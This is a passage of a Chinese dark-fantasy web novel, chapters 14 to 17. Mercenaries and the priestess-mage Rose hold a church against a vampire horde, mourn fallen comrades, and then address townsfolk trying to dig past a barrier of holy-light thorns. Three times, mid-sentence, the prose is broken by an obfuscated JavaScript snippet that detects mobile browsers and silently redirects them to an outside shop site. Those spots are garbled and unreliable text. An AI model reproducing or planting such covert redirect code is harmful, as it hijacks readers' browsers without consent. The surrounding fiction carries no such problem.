剑尖撕裂肉身的阻力让萝丝落地速度稍微降低了些，她摔在地上，打了好几个滚才停下来，灰头土脸地站起身。 那只医生化成的吸血鬼已经停止了动作，僵在原地，被索恩当胸一脚踹倒在地上，没有眼白的双眼凝视着夜空。他上前把萝丝的剑拔出来，扔给她：“你感觉怎么样？” 萝丝接住剑，点点头。 她刻意调集了魔力，再加上剑身上蚀刻着带有魔力的纹路，让她的消耗减轻了不少，此时并没有很大的不适感。她正要开口，忽然，一朵红色烟花在不远处炸开，将半片天空染成血色！ “不好，”索恩脸色一变，“是薇薇安他们。他们遇到麻烦了！” 14. 第 14 章 薇薇安在昏暗的灯光下向前跑去。直到完全听不见吸血鬼的脚步声后才停下来。 鲜血和汗水浸透了她的衬衫。她感到背后的伤口似乎裂开了一些，刚才不觉得，现在却开始撕心裂肺地疼。 她随便找了个地方坐下，大口喘息着，没多久，又看见一个人影向她跑来。她赶忙拔出武器起身，却发现是凯里。 “怎么样凯里，那边怎么样了？” 凯里大致把萝丝的话复述了一遍，又问道：“大姐头，你怎么样？” “我没事。就按萝丝说的做吧。你知道约瑟夫和莱雅在哪里吗？” “在锻造室里，约瑟夫在给莱雅帮忙。” “走，去找到他们，再一起去给萝丝他们帮忙。” 锻造室里，薇薇安简单说完外面的情况，莱雅和约瑟夫面色立马凝重起来，各自拿起武器。莱雅又将手边的几枚子弹分发给三人，说道：“事不宜迟，我们现在就走。这是含银子弹，应该可以对吸血鬼造成致命伤害，省着点用。” 其他人纷纷点头向外走去。薇薇安注意到，约瑟夫听见艾尔的死讯后面色便更加沉重，也几乎不说话。她向他走去，看到他把所有银弹都填进了枪里。 “约瑟夫。”薇薇安轻声叫住他。约瑟夫看向她，摆摆手。 “不要做傻事。”薇薇安又说道。 约瑟夫点点头，眼睛里却依旧暗沉沉的。不等薇薇安再说些什么，他加快脚步，走到了队伍的最前面。 从锻造室里出来，要经过一条长廊来到礼拜堂后方才能到达神官们居住的地方。再往后，才是吸血鬼追着索恩去的方向。 “走这边。” 莱雅在教堂生活了半年有余，对这里的地形了如指掌。她提着魔灯，引导着众人在偌大的教堂中穿梭，健步如飞。很快他们来到天井中庭，突然，莱雅毫无征兆地停住了脚步。 精灵血脉带来的敏锐视觉和听觉让她第一时间察觉到了环境的异样。她拦住向前的众人，抬头向屋顶上看去，瞳孔顿时一缩！ 屋顶上，数只吸血鬼逐渐从夜色中走出，居高临下地望着他们，一双双没有眼白的眼睛里似乎泛着猩红的光。 一只，两只，十只，二十只…… 已经数不清有多少只吸血鬼，只能看见一双双瘆人的眼睛在夜色里闪着红光。 雇佣兵们顺着莱雅的目光看去，呼吸也是一滞。“所有人，背靠背形成防御队形！” 薇薇安从自己的声音里听到了一丝颤抖。这是恐惧的实质表达。 显然，不止是她，其他人脸上都带上了恐惧的神色，迅速背靠背站成一个圆环，仰头与屋顶上的一双双红眼对峙。所有人都不由自主地握紧了手里的枪，仿佛那其中装填的几枚小小银弹就能给予他们庇护，免遭灭顶之灾。 一片死寂中，薇薇安翕动嘴唇，轻声道：“凯里，用烟花，告诉索恩他们不要过来了。” 凯里点点头，单手持枪，另一只手从腰带里掏出一只小巧的红色烟花筒，正要拉开引线，忽然动作一顿—— 屋顶上，一个比其他吸血鬼都高出一倍的巨大身影慢慢出现在众人视野中，它躯干巨大，四肢确实不协调地瘦长，看起来荒诞而可怖——这是城堡中的那只怪物！ 凯里顺着身体的惯性拉开引线将烟花筒抛向天空。 血色烟花炸开，伴随着怪物的一声怒吼，无数的吸血鬼从屋顶上一跃而下扑向他们！ 子弹出膛，精准地击中吸血鬼的头颅和心口。一两只吸血鬼应声倒下，然而，还有更多吸血鬼前赴后继地向他们冲来。薇薇安手枪中的银弹很快打光，她不得不拔出长剑，再一次以徒劳的血肉之身和吸血鬼对战在一起！ “薇薇安！” 薇薇安手中重剑和怪物的利爪撞在一起，背后的伤口似乎又在流血，但她也感觉不到了。惊呼声传来时，她堪堪格挡下吸血鬼的一击，一转头，却看见另一只吸血鬼的腥臭大嘴近在眼前！ 躲不掉了，薇薇安心一横，手腕一翻剑锋挥向身后吸血鬼！ 剑锋划过，吸血鬼的头颅滚落在地，同时，一枚子弹破空而来，将即将咬到薇薇安的吸血鬼打退了几寸。 其他人都是一愣，随即是难以掩饰的惊诧：是索恩和萝丝！ 看得出来两人是一路狂奔而来，尤其是萝丝，几乎被索恩拖着跑了一路，十分狼狈。刚刚那一枪就是她在站稳之后第一时间打出的。 “你们怎么来了？”薇薇安说不清心中是喜是忧，“不是发过信号警告你们了吗？” 索恩一笑，反手一剑劈向围过来的吸血鬼：“所以你浪费了一枚信号弹。你知道我们不可能不来。” 薇薇安没说什么，转头继续和吸血鬼战在一处。而一边的约瑟夫却往这边看了一眼，随即喊道：“注意，斩首可以杀死他们！斩首有用！” 果然，刚刚被薇薇安砍掉了头颅的吸血鬼此刻一动不动躺在地上，彻底失去了生机。这个消息令众人不禁振奋了些许：他们终于不再是用刀剑做着绝望无用的苦工了！ 萝丝挥舞着迅捷剑，在战团中看起来格外单薄，她却硬生生凭借着枪和剑一路砍杀挤到了薇薇安身边，抬手凝聚出圣光向着薇薇安后背一抹。 薇薇安只觉得后背一暖，随即不断流血的感觉便消失了。她看见萝丝使用完光愈术后身形颤了颤，急忙道：“你还好吗？” “没事。”萝丝借着她的身形掩护喘了口气，转身又举起剑。 尽管有了索恩和萝丝二人的加入，战场局势也没能好转。 无论如何，他们的体力都是有限的，而吸血鬼却仿佛无穷无尽一般源源不断地从房顶上涌进来。所有人身上都挂了彩，鲜血顺着手肘、脊背滚落、然而他们没有时间为自己做一个简单的包扎，只能眼睁睁地看着生命在滴落的血液中流逝。 “这样下去不行，”莱雅凭借着精灵血脉带来的强大的力量硬生生撕下一只吸血鬼的头颅，“去礼拜堂，拿圣水！” 薇薇安皱眉：“太远了！” “必须去！圣水是最后的希望！” 薇薇安咬牙一脚踹开一只吸血鬼，和索恩交换了一个眼神，索恩立刻将重剑挥舞成一片剑光，在吸血鬼中硬生生杀出一条血路。薇薇安示意其他人跟上，自己想要断后，却被约瑟夫往前轻轻推了一下：“大姐头，我来吧。” 薇薇安短暂地一愣，难言的预感涌上来。但她还是点点头：“注意安全。” 就这样几人列成队形向着神殿方向冲杀去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992449|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼看他们要走，城堡怪物怒吼一声，蹲身猛地一跃，从半空中越过一行人，径直落在最前面的索恩身前！沉重的身体将地面砸出一个大坑，怪物站起身抖掉土屑，向着索恩发出一声凄厉至极的尖嚎！ 这刺耳的声音振痛了每一个人的耳膜，使他们都不禁动作凝滞，身形不稳。一旁虎视眈眈的吸血鬼再次围上来，形成一个密不透风的包围圈！ “小心！” 里怪物最近的索恩被影响得最深，正抱着头努力找到平衡时，三只吸血鬼从不同方向向他扑来。萝丝惊呼一声，下意识抬手召唤出光弹！ 似乎有自我意志的光弹飞出从两只吸血鬼心口穿过，第三只被冲上来的凯里拦下。索恩有了趁机站稳身形，甩甩头，想再凭一己之力撕开包围圈，却感到衣角被轻轻拉了一下。 一个影子从他身边滑过，他只看见红发如旗帜般飘扬。 “现在我保护你们，进了礼拜堂你们再保护我吧。” 说完萝丝猛地瞪大双眼，口中飞快吐出晦涩的祷言，双臂伸开在身前做出拥抱光明的姿势。无数吸血鬼趁机向毫无防备的她身前袭来，却在触碰到她的一刹那前被极强烈的圣光震开！萝丝身上爆发出灼人夺目的白光，整个人的身形在白光中若隐若现，她举起剑高呼：“跟上我！” 她如一道流星一般冲进吸血鬼群中，浑身带着燃烧和光明的意志，圣光所到之处只听见吸血鬼一阵哀嚎！雇佣兵们和莱雅则跟在后面，一路砍杀漏网的吸血鬼。 礼拜堂的大门就在眼前！ 萝丝不管不顾地撞开门冲了进去，摔倒在地上，浑身圣光骤然消散。 紧接着莱雅、索恩、薇薇安和凯里也接连跑了进来。然而，回头时他们才发现，约瑟夫落后于他们好几步远，而且和吸血鬼厮杀着，毫无躲避之意。 “约瑟夫，快回来！” “约瑟夫！” 听见队友们的惊叫，约瑟夫转回头向他们微微一笑，飞快指了指自己的脖颈。其他人看不见，只有莱雅分辨出了人类的皮肤上两个小小的血口：他被咬了！ 门外的吸血鬼越来越多，薇薇安、索恩和凯里把守着门口尚且可以支撑，可门外的约瑟夫早已左支右绌难以为继。 一个不防，他被利爪划伤了右臂，手一抖长剑落在地上。 又有一只吸血鬼冲上来，咬住了他的左手。接着，更多的吸血鬼涌上来将他淹没，礼拜堂内雇佣兵们几乎可以听见他被贪婪地分食的声音。 “快……关门！” “不好！” 吸血鬼群中传来约瑟夫最后一声怒吼。在后方治疗萝丝的莱雅一惊，飞身来到门边用身体把门撞合。与此同时，震耳欲聋的爆炸声传来！ 高温和声浪将身体轻盈的半精灵冲击得飞了出去，撞在礼拜堂的长椅上。三名雇佣兵首当其冲，耳中响起阵阵耳鸣。 即便如此，薇薇安也不管不顾地拉开了门，然而门外只有一地血肉残肢，哪里还看得见一个完整的人？ 突然，眼前门板被大力合上，莱雅用身体抵住门：“别看了，孩子们，别看了……” 雇佣兵们低下头。他们什么也做不了，唯有默哀。而即便是哀悼，他们也没有太多时间。 15. 第 15 章 门外的吸血鬼开始捶打门板。而被萝丝粗暴撞开的门无法上锁，只能人为抵住。 没有更多的时间默哀，雇佣兵们开始将礼拜堂中的所有桌椅杂物拖到门口来加固门窗。而莱雅则走到萝丝身边，从腰包中掏出几株草药喂进她口中：“还好吗？” 萝丝乖巧地咀嚼起草药，但仍是脸色苍白，不停有汗水从额角滚下：“没事……我很好。我们下一步该怎么办？” 莱雅深吸一口气：“只能等。等到天亮。外面的吸血鬼太多了。” “我估算了一下，这里的吸血鬼数量几乎对得上之前，唔，一半贫民窟、城防队和市政厅的数量。说明今晚可能这座城市的所有吸血鬼都聚集在我们这里了。” “这看起来不像是什么巧合，有什么东西在指挥它们，”莱雅皱眉，“会是那只城堡里跑出来的怪物吗？” 萝丝摇头：“不像，它似乎没有那么高的智商。” “算了，先不管这个，”莱雅皱眉看向被不断捶打的门板，“之前的吸血鬼都是让封闭空间里的人自己打开门窗，为什么这些似乎可以破门而入？” 萝丝沉吟了一会儿，说道：“我有一种猜测，就是对于越高级的吸血鬼而言，必须‘被邀请’这一规则的约束力就更弱。而门外那只怪物恐怕就是某种更高级的吸血鬼，甚至已经不属于吸血鬼这一范畴，所以即使做出打破封闭空间的行为也没有关系。” 这时，搭建完防御工事的索恩走过来，说道：“这扇门最多还能支撑一刻钟，而现在离天亮恐怕还有一个钟头，怎么办？” 莱雅叹了口气，没有说话。显然，该做什么已经一目了然。 “至少我们现在占据的地形有利，我或许可以——” 萝丝话还没说完就被莱雅打断：“不行，你不能再使用魔法了。或许是我今天给你举行的仪式让你产生了什么错觉，但我很肯定，你的灵魂现在已经脆弱到不堪一击，任何试图榨取魔力的努力都有可能让你死去。所以，想都不要想。” “是的，”索恩的神情难得的严肃，“同意你使用魔法相当于鼓励你去死，所以我们无论如何都不会同意的。” “总会有别的办法，”莱雅点头，“我在教堂的藏书库中找到了一些资料，上面记载了一些杀死吸血鬼的方法，除了现在已证明有效的银弹、斩首和神圣术之外，还有用火焰、圣水和把木桩钉进心脏等等。我不确定是否有效，但可以一试。” “圣水就在这里。”萝丝看向礼拜堂一侧盛满清澈圣水的鎏金水盆，“我在神殿的记载中似乎看到过用圣水杀死吸血鬼的记录。” 莱雅点头表示赞成，刚要说话，突然听见木料断裂的声音。三人同时向门口看去，只见不堪重负的木门在另一记重拳下一点点浮现出裂纹，裂纹逐渐延伸如蛛网般爬满整扇门。下一秒，强烈的冲击使得木门碎裂开来！ 堆在门口的桌椅在力大无穷的城堡怪物面前简直不值一提，被几下丢到一边，随着怪物冲锋号般的吼声，密密麻麻的吸血鬼从门口涌进来！ “快，圣水！”莱雅慌忙之中喊道。 离圣水盆最近的凯里当即端起它向着吸血鬼群冲去，将圣水尽数泼在吸血鬼的身上。 然而，令所有人意外的是，圣水泼在吸血鬼身上时，想象中皮开肉绽腐肉消融的场景并没有出现，应该说，圣水泼在吸血鬼身上没有起任何作用！ 凯里一瞬间瞪大了双眼。他离得太近了，当被吸血鬼向他扑来时他只来得及用手中圣水盆抵挡。而这抵抗又是何其的徒劳，被激怒的吸血鬼一爪打飞了圣水盆，接着伸手抓向他右臂。令人牙酸的撕裂声响起，寡言的男人的惨叫声响彻了整个教堂。 这一切都发生得太过迅速，当其他人反应过来开枪时，凯里已经被吸血鬼包围。又是一声更为凄厉的濒死的惨叫，浓烈的血腥味在空气中弥散。萝丝看见薇薇安眼里水光一闪，下一刻这位强大的雇佣兵跳上长椅，对着凯里的眉心毫不犹豫地开枪。 “走好。”她做了个口型。不知是不是错觉，她看见凯里笑了一下，坦然地迎接了子弹的到来。 原本把守礼拜堂门的计划彻底流产，几人再次陷入和吸血鬼的厮杀中，不同的是，现在他们少了两名同伴。 这场战斗几乎已经毫无悬念。每个人都负了伤，涌流的鲜血让吸血鬼更加兴奋，却让萝丝等人更加虚弱。萝丝本就濒临身体的极限，此时挥剑劈砍戳刺的动作也迟缓了许多。即使占据了墙角的有利地形也处在下风，几乎只有招架之力。 薇薇安倒下了。她已经打完了最后一发子弹，重剑剑锋已经卷刃，布满大大小小的豁口；接着是索恩；莱雅凭借着精灵血脉的优势还在勉强支撑，然而伤口愈合的速度远远赶不上新的伤口出现的速度。 就到这样了吗？也好，至少能和大家一起……萝丝的小腿被划开一道长长的口子，剧痛让她一下子跪倒在地上，即使拄着剑也无法再站起身。她脆弱的脖颈暴露在吸血鬼的爪牙之下，狰狞的面孔已然逼近—— 一声马嘶破空而来！ 高大的姜黄马向着萝丝所在的位置冲来，一路踩踏过无数吸血鬼。萝丝面前的两只吸血鬼躲闪不及，一下子被踏于蹄下。 “小希……” 听见自己的名字，小希看了一眼萝丝，转头跑到主人的尸体前，仰头发出悲鸣。她低下脖子咬住凯里的斗篷，试图把他拖到自己的背上。 死去的凯里注定无法再回应她。正在小希徒劳地努力时，被撞倒的城堡怪物已经起身，怒吼着冲到她背后，一巴掌打断了她的脊梁。小希软绵绵地倒了下去，庞大的躯体将主人圈在怀里。 怪物看也没看她一眼，仰头发出一声长吼，随后一脚踢开拦路的尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992450|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲出了礼拜堂。其他吸血鬼也像得到了命令般紧随其后。宛如潮水退却，顷刻之间，礼拜堂中除了一地的尸体，空空如也。 萝丝难以置信地看着这一切发生，才后知后觉地转头看向窗户。一缕微薄的曙光穿透了黑暗，原来，天亮了。 劫后余生的喜悦被队友的伤亡冲刷得一干二净。萝丝几乎是手脚并用地向地上的队友爬过去。 莱雅，呼吸还在，心跳还在，身上的伤口在一点点恢复……很好。 索恩，呼吸还在，心跳还在，但失血很严重，必须马上包扎……别动，别动，没事的……很好。 薇薇安，呼吸停止，心跳还在，还有救，还有救！……她被打断了三根肋骨，一根戳进了肺里……不行，这样救不了她…… 萝丝慌乱无措地看着薇薇安，她的躯体在她怀中一点点变冷、僵硬。没有别的办法了，萝丝想。 “您！无尽天堂的创造者，掌握一切的主宰者，赐予福祉与降下神罚之人； 我，恩典的负债者，在尘世间挣扎的罪人，我恳求您赐予我力量，行一切我所行之事， 我请求您降下光明和慈爱，救救我眼前的这个人吧！我需要力量，求求您，求求您……” 祷文念到最后，萝丝几乎泣不成声。同时，她感到一股奇妙的充盈感自身体深处缓缓升起，一阵温润的暖流流遍全身。这是魔力充盈的迹象。萝丝的哽咽停顿了，她有些难以置信地抬手凝聚出点点圣光，圣光汇成一片光团，缓缓沉入薇薇安体内。 随着温润感的逐渐消失，萝丝可以感知到那团圣光在薇薇安体内逐渐膨胀，而后由内而外地迸发开来将她整个人包裹其中。半晌，光芒散去，萝丝俯身趴在薇薇安身上，听见了她微弱却坚定的呼吸声。 薇薇安……活下来了。 萝丝却突然向疯了一样向凯里手脚并用地爬过去。他的身躯已然面目全非，已经僵硬而冰凉，不管萝丝怎么尝试也听不到心跳声和呼吸声。然而她还是不愿放弃，将凯里的尸体拖出来平放在地面上，双手合十开始念诵祷文：“您！无尽天堂的——你干什么？放开我！放开！” “没用的萝丝！放弃吧！他已经死了！” 索恩一把把萝丝扯起来，半拖半抱地从凯里的尸体便拉开，萝丝原先还在剧烈地挣扎，听见最后一句话之后，突然没了动作。 索恩干脆把她抱起来，放在一边的长椅上。接着他又把薇薇安扶过来，让她坐在萝丝身边。恢复过来的莱雅面色苍白，来到萝丝身前检查。萝丝抿了抿嘴，躲开她的手。 莱雅叹了口气，什么也没说，在她身边坐下。索恩也走过来和她们坐在一起。透过窗户撒进来的阳光向前一寸寸推进，终于铺满了整间礼拜堂。吸血鬼的尸首在接触到阳光的一瞬间灰飞烟灭，只留下一匹马、一具尸体，和四个挤在长椅上睡着的人。 16. 第 16 章 索恩好不容易才找到萝丝。 她在教堂花园的蔷薇架下缩成一团，红发碧眼恰好融入了花叶之中。她把脸埋在两膝间，索恩看不见她是什么表情。 他向她走去，萝丝抬起透明看了他一眼，又把脸埋回去，声音发闷：“谢谢你。我不想吃。” 索恩只是把餐盘放在地上，在她身边坐下，抬头透过层叠的蔷薇叶看着天空。 被切割过的天空只有小小一片，看不见空中金光灿灿的圣光荆棘。 怪不得她会选这里，索恩极轻地笑了一下，抬手摘下面具放在餐盘边。 “莱雅和我已经打扫过了教堂。我们安葬了死者。没能找到约瑟夫，所以他的坟墓里是他的剑和他的一片胸甲。艾尔也是。我们没能保住他的尸体，他在阳光下化成了灰烬，随风飘散，但我们还是把艾伦的尸体和他的衣服埋葬在了一起。” “凯里和他的马葬在一起，当然。我记得她叫小希。真是个好姑娘，她救了我们。当然，你也是。” 他就这么用惯常的自言自语般的语调说着，似乎并不在意萝丝究竟有没有在听。 萝丝做好了他会安慰自己、鼓励自己的心理准备，却没想到他是如此的自然而平静。 “对不起……我没有和你们一起去安葬他们。”萝丝侧过脸，露出一只眼睛看着索恩，“抱歉。” 索恩摆摆手：“你不会想去的。早上下了雨，整个墓园里都泥泞不堪。当知道我们要给小希也挖个墓穴时，守墓人的眼睛瞪得比国王金镑还大。” “……薇薇安还好吗？” “好起来了。莱雅给她喝了一些魔药还是别的什么汤剂什么的。她现在生命体征已经稳定下来了，只是有可能昏迷一段时间。不过，莱雅说，你还能活下来真是个奇迹——不，别道歉，这只是一个感叹而已。” 萝丝从善如流把道歉的话咽了回去。 她不想说什么，也不知道该说什么，便听着索恩碎碎念，倒也并不让人厌烦。 “我今天在外面走了走，发现昨天晚上也不是很平静。有一些人声称自己看到了黑影在房顶上快速移动，而试图开窗看热闹的人第二天似乎都遭遇了不测。我想，他们看到的不过是我们昨晚战斗的冰山一角。” “不过这引起了恐慌。不如说，这简直是引爆了恐慌。上午的时候有一个小伙子正在挨家挨户召集居民，让他们在下午三点时在城门口聚集，带上铲子。他说，要么他们把那些荆棘给斩断，要么他们就自己挖一条路出去。” “我觉得这没什么用，但也拦不住他们。那个小伙子——好像叫萨姆——很多人愿意追随他。” “对了，莱雅重铸了你的剑。她在剑柄处镶嵌了一颗纯净的魔法石，结合剑身的纹路，可以达到魔杖一般魔法增幅的效果，可以帮你节省魔力。” “没用的，”萝丝摇摇头，声音像叹息一样轻，“没用的。即使是魔力增幅也建立在持有者可以使用魔法的基础上。而我现在已经完全无法使用魔法了。” 索恩扬起眉毛：“为什么？” 萝丝话语间都有些颤抖：“我已经彻底失去魔力了。以前，我可以轻松在体内感知到它们，而后来魔力流失时我也一直能与它们建立上联系。但现在不行了。我已经完全感受不到它们了。” “没关系，”索恩轻声道，“没有魔力，剑也一样很好用。” “不！”萝丝声音带上了呼之欲出的哭腔，“你不明白！你不明白这以为这意味着什么……这意味着我把你们带进了这座城市受死……这意味着这一整座城市都没救了……我失去了和神殿博弈的最后的筹码，你懂吗？我们现在已经到走到必死的僵局了！已经没有任何希望了！我们都会死！” 眼泪如决堤般涌出，萝丝将脸埋进手掌里嚎啕大哭。 索恩在她头顶无奈地轻轻叹了口气，轻柔但坚定地拉开她的手掌，抬起她的脸，从口袋里掏出一方干净手帕为她擦拭眼泪。 萝丝愣了一下，下意识推开他的手。索恩点点头，把手帕放进她手里。 萝丝反倒有些不知所措，呆呆地任由眼泪流淌了一阵，才低下头压抑住哭声，用手帕将眼泪一点点擦干。 手帕上有绿叶和野果的香气，混杂着烟草味，奇妙却并不讨厌。 “谢谢你。”她小声说着，将手帕还回去。 索恩再次摆摆手，收起手帕。等到萝丝完全平静下来，他才开口：“你知道吗？你身上真的有和神殿一脉相承的傲慢。” 什么？ 萝丝吃惊地抬起头，却发现和冷酷的话语不同，索恩那双黄金色的瞳孔闪烁同情，无奈，和同病相怜的怜惜。 那是一种可以说和他不相称的温柔。 “你陷入了绝望，为什么？因为你觉得自己失去了魔力，变成了一个普通人。可是谁又说普通人便软弱无助、只能等待别人去拯救？” “你骨子里的傲慢让你觉得，你成为一个普通人之后就一定一事无成，就必须只能坐以待毙。可是这个世界上那么多普通的人，那么多普通人建造的奇迹。就像这座峭壁下的城堡、悬崖上的栈道，和壮丽宏伟的神殿——它们都是奴隶们修筑起来的，奴隶们可不会魔法。” “现在距离毁灭日还有二十天，而我们还有至少半座城的人。想知道这些人在二十天里能做到什么吗？” 索恩站起来低头向她一笑。 这是萝丝第一次看见他没有被面具遮挡的笑颜：那双金瞳时常让他看起来慑人而威严，但此刻的微笑却完全抹去了那种气度，取而代之的是一种坚定的温柔。 在这一瞬间，萝丝突然意识到，这个人和他“誓死追随”的誓言，从始至终都是认真的。 “别小瞧普通人，别小瞧自己，也别小瞧我们的出路。至少我知道，坐在这里再哭一场的话天就要黑了。”他伸出手把她拉起来，“所以，你现在怎么想？” 萝丝在听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992451|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天黑”之后，眼神便坚定起来。她拉着索恩的手起身：“我要去城门口。我有一个想法。” “很好。”索恩扣上面具，金瞳重新变得深邃神秘，“誓死追随您，萝丝大人。” 两匹马一路狂奔，到达城门口时，时间已经接近三点。 已经有许多人在那里聚集。 他们大多手上拿着铲子、锄头，甚至还有人带着屠刀和长枪。他们三五成群地站着，抽着烟，但很少交流。 恐惧和磨难让他们平静，这种平静背后是绝望的决绝。 萝丝可以明白为什么这么多人愿意追随萨姆：末日之下，他们愿意付出一切尝试去找哪怕一根救命稻草也好。 他们下了马，走到一边。高头大马在人群中有些显眼，但也无人关心。 当钟塔的钟声敲响三点的钟声时，人群终于泛起一丝骚动。 一个肤色黝黑、肌肉壮硕的青年人穿过人群走来。人们犹如海水，纷纷向两边退开为他让路。他一边肩膀上扛着一个苹果箱，一手拎着一把铁锹。 在众人的目光中，他走到人群中央，将箱子放在地上，随后自己站了上去。 面对无数人黑压压的头颅和神色各异的眼神，他毫无怯场之意，清了清嗓子。 “各位，我想你们来到这里，都有着和我一样的想法。” 他的嗓门很大，吐字也足够清晰，虽然词句简单，却也足够富有感染力。 他先是简单地介绍了他自己——世代务农的孩子，当过兵；然后表达了他对于城市中流窜的“瘟疫”的看法——瘟疫是圣光荆棘带来的；最后，他举起铁锹振臂一呼，号召所有人和他一起，哪怕是砍断一两根藤蔓、挖出一个浅坑也好，这至少能证明他们找到了拯救自己的方法！ 在他慷慨激昂的演说之后，全场寂静无声。 良久，一位中年女人举起了她手中的花园铲。 “我的丈夫、女儿都死了……” 她这样嘶哑地说道。 随后是第二个人。第三个。 接着，所有人都举起了自己的手。他们或许拿着不同的工具，来自不同的行业和阶级，但此时，他们拥有一样的目标和一样的渴望。 “很好！”萨姆环视一周，严肃道，“那么，将由我来挖下……” “等一下！” 萝丝牵着马从人群边缘挤进来，仰脸看向他：“萨姆先生，我很赞同您的勇气和意志，但是圣光荆棘相当危险。它深深扎根于地底，凡人的铲与锹难以触及；而且它将惩罚它的猎物，倘若他们靠近囚笼的边缘的话。也许，我们可以想一个更好的计划。” 萨姆从苹果箱上走下来，半蹲下身和萝丝平视，大手轻轻抚平她被风吹乱的红发：“你很博学，小姐，可是我们已经没有更好的办法。无论如何，我必须尝试。至少，”他站起身，和周围的居民们对视，“如果我出了事，我知道有人会接替我去做我们要做的事。” 17. 第 17 章 萝丝和他对视了一会儿，后退了一步，点点头：“的确，我们需要尝试。但我认为应该由我来尝试。” “这……” “不过我也提出我的要求：在此之后，我希望我能和大家谈一谈，关于未来，关于真相。” 不等萨姆回答，她猝不及防地贴近了他。还没看清怎么回事，萨姆便发现自己的铁锹已经到了她的手中。她单手提着铁锹，头也不回地向着圣光荆棘走去。 其他人自动为她让出道路，默默地看着她，看着她的斗篷被风吹起。 离圣光荆棘还有三米时，一根成人小臂粗细的金色触丝突然从主干中伸出，带着风声抽向萝丝！ 她灵巧地向前一个滚翻躲开触丝，向前奔跑几布，一弯腰躲开另一根触丝，手中铁锹狠狠砸向圣光荆棘。 圣光荆棘丝毫不为所动，但那铁锹却如同砸在了坚硬的金属上一般，被大力震开，甚至出现了细微变形！ 萝丝手臂被震得发麻，但还是一边闪躲着触丝的攻击，一边将铁锹插进圣光荆棘根部的泥土中，借着身体的重量向下一压。一铲泥土被扬向空中。 萝丝拔出铁锹一转身用木柄拦住抽来的触丝，在反手又将铁锹插入泥土中。 如此往复几次，圣光荆棘根部渐渐显现出一个浅坑。 但令人绝望的是，从浅坑中，人们可以清晰地看到圣光荆棘的主干向下延伸没入不知多深的土壤中。再往下，再往下，依旧能看到那闪着金色光芒的主干从泥土之间闪出光芒。 萝丝说的是对的。 圣光荆棘无法破坏；铲子和铁锹也难以挖到它们的尽头。 接连的躲闪消耗了萝丝的体力。终于，一根触丝打在了躲闪不及的她身上，将她抽得飞了出去。 她重重砸在地上，打了好几个滚才停下来。她捂住自己被打中的腹部，浑身伤口都被牵动，疼得站不起身。索恩赶忙上前扶起她。 站稳后，她松开索恩的手，擦了把脸转过身面对众人：“还需要我继续尝试吗？” 人们没有做声。 有几个人摇了摇头，更多的人选择直接离开。萨姆脸上显示出难以掩饰的失望和不甘，却也没有说什么。 “不用了。您已经做的很好了。” 这时，一道苍老的声音从人群中响起，吸引了所有人的目光。一个清瘦的老人从人群中缓步走出。 他来到萝丝面前，郑重地弯下腰和她握了握手：“您好，小姐，我叫彼得·马利翁。我曾经是一名工程师，可以理解您在说什么。阿德玛城建立在荒原之上，往下不到两米深就是坚硬的岩层。您向我们证明了挖地道是不切实际的想法，现在，我想知道您对于未来和真相有什么宝贵的建议。” “您好！我是萝丝，您直接这样叫我就好。”她双手握住老人的手，环视了一周，表情严肃，“我不仅想对您说，也想对在场的所有人说。这很重要。” “我明白。小姐，请。” 萨姆主动站到一旁，让彼得老人扶着萝丝站上苹果箱。 骤然高出一截的视野让她得以看清楚一张张被恐惧和愤怒挤压得麻木的面孔，可以看见逐渐散去的人群又开始聚拢。他们仰着脸，不愿意放弃一点希望。 可我真的能给他们带来希望吗？ 萝丝想，我们别无选择。 于是她清了清嗓子，确保每一个人都能清楚地听见她的声音：“各位，在我们之间流窜，夺走我们亲人与邻人生命的，不是瘟疫，至少不是普通的瘟疫。人们对它更为熟知的名字是——吸血鬼。” 墓园里，萝丝和索恩并肩站着。 索恩说得对，这里的确泥土泥泞不堪，踩上去仿佛随时有陷入地底的危险。一阵寒风吹过，她不由得裹紧了斗篷。 三块石碑并排而立，它们分别属于凯里和小希，约瑟夫，以及艾尔兄弟俩。 没有足够的花束，他们只好把两束花拆成三份，放在三块石碑前。风一吹过，花瓣便簌簌地抖动起来，让人不仅担心它们马上就会随风而逝。 “能当着那么多人说出那些消息，真有你的。” 索恩声音里带着轻轻的笑意。 萝丝低下头，苦笑道：“编一些美梦是神殿喜欢干的事，不是我。只有认清了现实才能有反抗的办法啊。” “我明白，我明白。只是，”索恩用靴子尖轻轻碾着一颗小石子，“面对那么多期待的眼神，总会让人有一种救世主的错觉不是么。绝大部分的救世主，就我所知，都不喜欢说一些令人丧气的话——天啊抱歉约瑟夫，我真的不是故意的。” 